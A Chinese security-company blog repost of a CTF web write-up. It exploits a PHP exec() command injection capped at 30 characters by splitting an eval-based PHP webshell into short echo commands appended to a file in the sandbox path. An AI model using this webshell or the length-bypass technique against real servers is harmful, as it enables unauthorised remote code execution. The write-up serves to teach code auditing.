php代码审计基础——命令执行绕过大小限制写入文件

admin 2022年3月30日20:11:25评论369 views1字数 1668阅读5分33秒阅读模式

团队小伙伴搞的一道ctf web题,基础又有挑战,虽然知道使用exec函数是存在命令执行漏洞了,但仍然无法快速的利用,结果很重要,过程更精彩。

靶场地址:

http://XX.xx.xx.xx:9999/

php代码审计基础——命令执行绕过大小限制写入文件

通过看代码发现exec函数,并且除了大小(小于30)外,未进行其他过滤措施。

 

命令执行

于是构造命令尝试执行,最终执行的命令不显示,但可以通过dnslog接收到数据,证明命令执行成功

php代码审计基础——命令执行绕过大小限制写入文件



但此时想要进一步利用,写shell遇到了困难,找不到上传shell的路径。

路径构造

最终是小伙伴同学给出答案,前面的一段代码如下:

 

$sandbox = '/var/www/html/sandbox/' . md5("M0rk" . $_SERVER['REMOTE_ADDR']);    mkdir($sandbox,0777,true);chdir($sandbox);


代表的含义是:将字符串M0rk加上远程IP地址,加到一起转换为md5,然后和路径

/var/www/html/sandbox/

拼接起来作为一个有(上传)权限的路径

php代码审计基础——命令执行绕过大小限制写入文件



得到了上传路径:


http://xx.xx.xx.xx:9999/sandbox/caf06adec8256a36bf4c61ffe180dbed/


尝试传一个txt文件试试

原本没有1.txt

php代码审计基础——命令执行绕过大小限制写入文件



使用echo写入文件


 

php代码审计基础——命令执行绕过大小限制写入文件


访问

php代码审计基础——命令执行绕过大小限制写入文件



成功写入文件!

写shell遇到困难

接下来就是如何写入shell

直接写肯定是不行的

http://xx.xx.xx.xx:9999/index.php?cmd=echo'<?php @eval($_POST[1]);?>' > 1.php


由于前面已经说了是大小限制到了30个字符,因此每次执行命令不能超了30个字符

写到P的时候就执行不下去了

echo '<?php @eval($_P' > 1.txt


php代码审计基础——命令执行绕过大小限制写入文件


 

命令长度绕过

echo '<?php @eval($_POST[1]);?>'> 1.php

这样一个命令要分开多次才能写入shell

 


111111111111111111111111111111echo '<?php ' > 1.php
echo '@eval(' > 1.php
echo '$_POST[1]);?>' > 1.php


 

由于这样写成了直接替换,这个时候遇到的问题应该是通过每次写入的内容要往下写,而不是替换:

echo写入文件追加到末尾使用> >两个大于号

 


echo '<?php ' > 1.php     //先写入php头
echo '@eval(' >> 1.php //追加内容
echo '$_POST[1]);?>' >> 1.php //追加最后部分内容


php代码审计基础——命令执行绕过大小限制写入文件


写入shell成功!

连接一下:


 

php代码审计基础——命令执行绕过大小限制写入文件


看一下写入的内容:


 

php代码审计基础——命令执行绕过大小限制写入文件


 

总结:

代码审计重要的还是基础,每一行代码都看懂才行。用工具盲测没出路了!


欢迎关注“天大天财”

php代码审计基础——命令执行绕过大小限制写入文件

关于天大天财

内蒙古天大天财信息技术有限责任公司,成立于1999年,是集网络安全服务、安全集成、计算机系统集成、公共安全技术防范系统设计|施工|维修为一体的综合性高科技信息公司

专注产生价值,天大天财致力于做内蒙古网络安全设计、实施、运维服务综合实力最强的本土品牌,我们潜心了解客户业务需求及痛点,注重提升与客户的粘合度,赢得了客户与市场的认可,享有很好的商誉;我们坚持以技术实施、服务为基础,注重技术团队的培养与提升,拥有一支技术过硬的服务团队,能够为全区客户提供及时的应急支援服务,同时,为了能够为客户做更优质更有水准的安全服务,我们成立了天大天财安全实验室,推出了自己的安全服务产品,收到客户的高度认可。

2018年被评为内蒙古网络安全行业协会理事长单位,获得内蒙古自治区科技型企业资质以及高新技术企业证书,涉密资质由原来的三项(集成、运维、安防)新增一项国家秘密载体印制资质证书.

安服团队连续三年参加省级攻防演练,并取得不错的成绩,在安全服务方面有全套网络安全解决方案。

服务能力图示:

php代码审计基础——命令执行绕过大小限制写入文件

php代码审计基础——命令执行绕过大小限制写入文件



服务热线:0471-2658551/552/553

地址:内蒙古自治区呼和浩特市赛罕区昭乌达路世纪六路鸿博大厦4层


原文始发于微信公众号(天大天财):php代码审计基础——命令执行绕过大小限制写入文件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日20:11:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   php代码审计基础——命令执行绕过大小限制写入文件https://cn-sec.com/archives/854023.html

发表评论

匿名网友 填写信息